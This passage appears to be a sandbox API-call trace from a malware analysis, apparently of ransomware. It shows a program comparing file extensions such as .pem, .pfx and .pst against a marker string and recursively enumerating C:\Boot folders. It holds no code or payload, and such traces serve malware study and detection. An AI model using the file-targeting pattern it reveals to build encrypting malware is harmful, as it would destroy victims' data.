(lpString=".pem") returned 4 [0291.273] lstrcmpiW (lpString1=".pem", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pff") returned 4 [0291.273] lstrcmpiW (lpString1=".pff", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pfm") returned 4 [0291.273] lstrcmpiW (lpString1=".pfm", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pfx") returned 4 [0291.273] lstrcmpiW (lpString1=".pfx", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pgm") returned 4 [0291.273] lstrcmpiW (lpString1=".pgm", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".php") returned 4 [0291.273] lstrcmpiW (lpString1=".php", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".php3") returned 5 [0291.273] lstrcmpiW (lpString1=".php3", lpString2="carcn") returned -1 [0291.273] lstrlenW (lpString=".php4") returned 5 [0291.273] lstrcmpiW (lpString1=".php4", lpString2="carcn") returned -1 [0291.273] lstrlenW (lpString=".php5") returned 5 [0291.273] lstrcmpiW (lpString1=".php5", lpString2="carcn") returned -1 [0291.273] lstrlenW (lpString=".phtml") returned 6 [0291.273] lstrcmpiW (lpString1=".phtml", lpString2=".carcn") returned 1 [0291.273] lstrlenW (lpString=".pict") returned 5 [0291.273] lstrcmpiW (lpString1=".pict", lpString2="carcn") returned -1 [0291.273] lstrlenW (lpString=".pl") returned 3 [0291.273] lstrcmpiW (lpString1=".pl", lpString2="rcn") returned -1 [0291.273] lstrlenW (lpString=".pls") returned 4 [0291.273] lstrcmpiW (lpString1=".pls", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pm") returned 3 [0291.273] lstrcmpiW (lpString1=".pm", lpString2="rcn") returned -1 [0291.273] lstrlenW (lpString=".png") returned 4 [0291.274] lstrcmpiW (lpString1=".png", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".pnm") returned 4 [0291.274] lstrcmpiW (lpString1=".pnm", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".pot") returned 4 [0291.274] lstrcmpiW (lpString1=".pot", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".potm") returned 5 [0291.274] lstrcmpiW (lpString1=".potm", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".potx") returned 5 [0291.274] lstrcmpiW (lpString1=".potx", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".ppa") returned 4 [0291.274] lstrcmpiW (lpString1=".ppa", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".ppam") returned 5 [0291.274] lstrcmpiW (lpString1=".ppam", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".ppm") returned 4 [0291.274] lstrcmpiW (lpString1=".ppm", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".pps") returned 4 [0291.274] lstrcmpiW (lpString1=".pps", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".ppsm") returned 5 [0291.274] lstrcmpiW (lpString1=".ppsm", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".ppt") returned 4 [0291.274] lstrcmpiW (lpString1=".ppt", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".pptm") returned 5 [0291.274] lstrcmpiW (lpString1=".pptm", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".pptx") returned 5 [0291.274] lstrcmpiW (lpString1=".pptx", lpString2="carcn") returned -1 [0291.274] lstrlenW (lpString=".prn") returned 4 [0291.274] lstrcmpiW (lpString1=".prn", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".ps") returned 3 [0291.274] lstrcmpiW (lpString1=".ps", lpString2="rcn") returned -1 [0291.274] lstrlenW (lpString=".psb") returned 4 [0291.274] lstrcmpiW (lpString1=".psb", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".psd") returned 4 [0291.274] lstrcmpiW (lpString1=".psd", lpString2="arcn") returned -1 [0291.274] lstrlenW (lpString=".pst") returned 4 [0291.275] lstrcmpiW (lpString1=".pst", lpString2="arcn") returned -1 [0291.275] lstrlenW (lpString=".ptx") returned 4 [0291.275] lstrcmpiW (lpString1=".ptx", lpString2="arcn") returned -1 [0291.275] lstrlenW (lpString=".pub") returned 4 [0291.275] lstrcmpiW (lpString1=".pub", lpString2="arcn") returned -1 [0291.275] lstrlenW (lpString=".pwm") returned 4 [0291.275] lstrcmpiW (lpString1=".pwm", lpString2="arcn") returned -1 [0291.694] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.694] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.694] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.695] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.696] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.697] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.697] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0291.697] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.697] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.698] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fce08 [0291.698] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.698] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.698] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.698] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0291.698] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.698] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.698] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fce88 [0291.698] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.698] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fce88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.699] FindClose (in: hFindFile=0x7fce88 | out: hFindFile=0x7fce88) returned 1 [0291.699] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.699] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd088 [0291.699] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.699] FindClose (in: hFindFile=0x7fd088 | out: hFindFile=0x7fd088) returned 1 [0291.699] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.699] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.700] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcf88 [0291.700] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.700] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.700] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.700] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.700] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0291.700] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.700] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.700] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcc48 [0291.700] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.700] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.701] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.701] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.701] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0291.701] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.701] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.701] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd108 [0291.701] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.701] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.701] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd108, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.702] FindClose (in: hFindFile=0x7fd108 | out: hFindFile=0x7fd108) returned 1 [0291.702] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.702] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd288 [0291.702] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd288, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.702] FindClose (in: hFindFile=0x7fd288 | out: hFindFile=0x7fd288) returned 1 [0291.702] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.702] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.703] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcd88 [0291.703] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.703] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.703] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.703] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0291.703] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.703] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.703] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd188 [0291.703] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.703] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd188, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.704] FindClose (in: hFindFile=0x7fd188 | out: hFindFile=0x7fd188) returned 1 [0291.704] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.704] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd2c8 [0291.704] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd2c8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.704] FindClose (in: hFindFile=0x7fd2c8 | out: hFindFile=0x7fd2c8) returned 1 [0291.704] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.704] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.705] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcec8 [0291.705] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fcec8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.705] FindClose (in: hFindFile=0x7fcec8 | out: hFindFile=0x7fcec8) returned 1 [0291.705] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.705] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd348 [0291.705] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.705] FindNextFileW (in: hFindFile=0x7fd348, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.705] FindClose (in: hFindFile=0x7fd348 | out: hFindFile=0x7fd348) returned 1 [0291.706] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.706] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcd08 [0291.706] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcd08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.706] FindClose (in: hFindFile=0x7fcd08 | out: hFindFile=0x7fcd08) returned 1 [0291.706] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.706] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcc48 [0291.706] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.706] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.711] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0291.711] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.711] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.712] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcd88 [0291.712] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.712] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.712] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.712] FindNextFileW (in: hFindFile=0x7fcd88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.712] FindClose (in: hFindFile=0x7fcd88 | out: hFindFile=0x7fcd88) returned 1 [0291.712] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.712] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.712] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcc48 [0291.712] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.712] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.713] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.713] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x33bf584 | out: lpFindFileData=0x33bf584) returned 0x7fd1c8 [0291.713] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x33bf584 | out: lpFindFileData=0x33bf584) returned 1 [0291.713] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x33bf584 | out: lpFindFileData=0x33bf584) returned 1 [0291.713] FindNextFileW (in: hFindFile=0x7fd1c8, lpFindFileData=0x33bf584 | out: lpFindFileData=0x33bf584) returned 0 [0291.713] FindClose (in: hFindFile=0x7fd1c8 | out: hFindFile=0x7fd1c8) returned 1 [0291.713] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43b0058 | out: hHeap=0x700000) returned 1 [0291.713] FindNextFileW (in: hFindFile=0x7fcc48, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.713] FindClose (in: hFindFile=0x7fcc48 | out: hFindFile=0x7fcc48) returned 1 [0291.713] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.713] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.713] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcf88 [0291.714] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.714] FindClose (in: hFindFile=0x7fcf88 | out: hFindFile=0x7fcf88) returned 1 [0291.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.714] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fce08 [0291.714] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fce08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.714] FindClose (in: hFindFile=0x7fce08 | out: hFindFile=0x7fce08) returned 1 [0291.714] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.714] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.714] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fd208 [0291.715] FindNextFileW (in: hFindFile=0x7fd208, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fd208, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fd208, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.715] FindClose (in: hFindFile=0x7fd208 | out: hFindFile=0x7fd208) returned 1 [0291.715] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.715] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcf08 [0291.715] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fcf08, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.715] FindClose (in: hFindFile=0x7fcf08 | out: hFindFile=0x7fcf08) returned 1 [0291.715] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.715] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.715] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7fcc88 [0291.716] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fcc88, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0 [0291.716] FindClose (in: hFindFile=0x7fcc88 | out: hFindFile=0x7fcc88) returned 1 [0291.716] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x3c70e10 | out: hHeap=0x700000) returned 1 [0291.716] FindNextFileW (in: hFindFile=0x7fd248, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.716] FindFirstFileW (in: 